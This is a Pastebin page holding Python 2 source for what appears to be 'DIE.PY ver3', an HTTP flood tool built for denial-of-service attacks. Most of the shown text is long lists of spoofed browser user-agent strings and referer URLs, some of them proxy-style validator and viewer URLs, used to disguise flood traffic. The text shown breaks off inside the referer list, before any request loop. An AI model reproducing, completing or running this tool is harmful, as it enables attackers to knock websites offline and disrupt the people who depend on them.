baotranno123

Ko die koding

Aug 20th, 2015
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.00 KB | None | 0 0
  1. #code by Phuoc Thanh
  2. #Name code : DIE.PY ver3
  3. import urllib2
  4. import sys
  5. import threading
  6. import random
  7. import re
  8.  
  9. #global params
  10. url=''
  11. host=''
  12. headers_useragents=[8784394043]
  13. headers_referers=[159432442]
  14. keyword_top=[2442423442]
  15. request_counter=15273825519898989
  16. flag=0
  17. safe=0
  18.  
  19. def inc_counter():
  20. global request_counter
  21. request_counter+=1
  22.  
  23. def set_flag(val):
  24. global flag
  25. flag=val
  26.  
  27. def set_safe():
  28. global safe
  29. safe=1
  30.  
  31. # generates a user agent array
  32. def useragent_list():
  33. global headers_useragents
  34. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  35. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  36. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  37. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  38. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  39. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  40. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  41. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  42. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  43. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  44. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  45. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  46. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  47. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  48. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  49. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  50. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  51. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  52. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  53. headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  54. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  55. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  56. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  57. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  58. headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  59. headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  60. headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  61. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  62. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  63. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  64. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  65. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  66. headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  67. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  68. headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  69. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  70. headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  71. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  72. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  73. headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  74. headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  75. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  76. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  77. headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  78. headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  79. headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  80. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  81. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  82. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  83. headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  84. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  85. headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  86. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  87. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  88. headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  89. headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  90. headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  91. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  92. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  93. headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  94. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  95. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  96. headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  97. headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  98. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  99. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  100. headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  101. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  102. headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  103. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  104. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  105. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  106. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  107. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  108. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  109. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  110. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  111. headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  112. headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  113. headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  114. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  115. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  116. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  117. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  118. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  119. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  120. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  121. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  122. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  123. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  124. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  125. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  126. headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  127. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  128. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  129. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  130. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  131. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  132. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  133. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  134. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  135. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  136. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  137. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  138. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  139. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  140. headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  141. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  142. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  143. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  144. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  145. headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  146. headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  147. headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  148. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  149. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  150. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  151. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  152. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  153. headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  154. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  155. headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  156. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  157. headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  158. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  159. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  160. headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  161. headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  162. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  163. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  164. headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  165. headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  166. headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  167. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  168. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  169. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  170. headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  171. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  172. headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  173. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  174. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  175. headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  176. headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  177. headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  178. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  179. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  180. headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  181. return(headers_useragents)
  182.  
  183. # generates a referer array
  184. def referer_list():
  185. global headers_referers
  186. headers_referers.append('http://www.bing.com/search?q=')
  187. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  188. headers_referers.append('https://duckduckgo.com/?q=')
  189. headers_referers.append('http://www.ask.com/web?q=')
  190. headers_referers.append('http://search.aol.com/aol/search?q=')
  191. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  192. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  193. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  194. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  195. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  196. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  197. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  198. headers_referers.append('http://www.google.com/?q=')
  199. headers_referers.append('http://www.google.com/?q=')
  200. headers_referers.append('http://www.google.com/?q=')
  201. headers_referers.append('http://www.usatoday.com/search/results?q=')
  202. headers_referers.append('http://engadget.search.aol.com/search?q=')
  203. headers_referers.append('https://steamcommunity.com/market/search?q=')
  204. headers_referers.append('http://filehippo.com/search?q=')
  205. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  206. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  207. headers_referers.append('http://engadget.search.aol.com/search?q=')
  208. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  209. headers_referers.append('http://techtv.mit.edu/search?q=')
  210. headers_referers.append('http://www.ustream.tv/search?q=')
  211. headers_referers.append('http://www.ted.com/search?q=')
  212. headers_referers.append('http://funnymama.com/search?q=')
  213. headers_referers.append('http://itch.io/search?q=')
  214. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  215. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  216. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  217. headers_referers.append('https://play.google.com/store/search?q=')
  218. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  219. headers_referers.append('http://www.reddit.com/search?q=')
  220. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  221. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  222. headers_referers.append('http://jobs.leidos.com/search?q=')
  223. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  224. headers_referers.append('https://www.pinterest.com/search/?q=')
  225. headers_referers.append('http://millercenter.org/search?q=')
  226. headers_referers.append('https://www.npmjs.com/search?q=')
  227. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  228. headers_referers.append('http://www.shodanhq.com/search?q=')
  229. headers_referers.append('http://ytmnd.com/search?q=')
  230. headers_referers.append('http://www.google.com/?q=')
  231. headers_referers.append('http://www.google.com/?q=')
  232. headers_referers.append('http://www.google.com/?q=')
  233. headers_referers.append('http://www.usatoday.com/search/results?q=')
  234. headers_referers.append('http://engadget.search.aol.com/search?q=')
  235. headers_referers.append('https://steamcommunity.com/market/search?q=')
  236. headers_referers.append('http://filehippo.com/search?q=')
  237. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  238. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  239. headers_referers.append('http://engadget.search.aol.com/search?q=')
  240. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  241. headers_referers.append('http://techtv.mit.edu/search?q=')
  242. headers_referers.append('http://www.ustream.tv/search?q=')
  243. headers_referers.append('http://www.ted.com/search?q=')
  244. headers_referers.append('http://funnymama.com/search?q=')
  245. headers_referers.append('http://itch.io/search?q=')
  246. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  247. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  248. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  249. headers_referers.append('https://play.google.com/store/search?q=')
  250. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  251. headers_referers.append('http://www.reddit.com/search?q=')
  252. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  253. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  254. headers_referers.append('http://jobs.leidos.com/search?q=')
  255. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  256. headers_referers.append('https://www.pinterest.com/search/?q=')
  257. headers_referers.append('http://millercenter.org/search?q=')
  258. headers_referers.append('https://www.npmjs.com/search?q=')
  259. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  260. headers_referers.append('http://www.shodanhq.com/search?q=')
  261. headers_referers.append('http://ytmnd.com/search?q=')
  262. headers_referers.append('http://www.google.com/?q=')
  263. headers_referers.append('http://www.google.com/?q=')
  264. headers_referers.append('http://www.google.com/?q=')
  265. headers_referers.append('http://www.usatoday.com/search/results?q=')
  266. headers_referers.append('http://engadget.search.aol.com/search?q=')
  267. headers_referers.append('https://steamcommunity.com/market/search?q=')
  268. headers_referers.append('http://filehippo.com/search?q=')
  269. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  270. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  271. headers_referers.append('http://engadget.search.aol.com/search?q=')
  272. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  273. headers_referers.append('http://techtv.mit.edu/search?q=')
  274. headers_referers.append('http://www.ustream.tv/search?q=')
  275. headers_referers.append('http://www.ted.com/search?q=')
  276. headers_referers.append('http://funnymama.com/search?q=')
  277. headers_referers.append('http://itch.io/search?q=')
  278. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  279. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  280. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  281. headers_referers.append('https://play.google.com/store/search?q=')
  282. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  283. headers_referers.append('http://www.reddit.com/search?q=')
  284. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  285. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  286. headers_referers.append('http://jobs.leidos.com/search?q=')
  287. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  288. headers_referers.append('https://www.pinterest.com/search/?q=')
  289. headers_referers.append('http://millercenter.org/search?q=')
  290. headers_referers.append('https://www.npmjs.com/search?q=')
  291. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  292. headers_referers.append('http://www.shodanhq.com/search?q=')
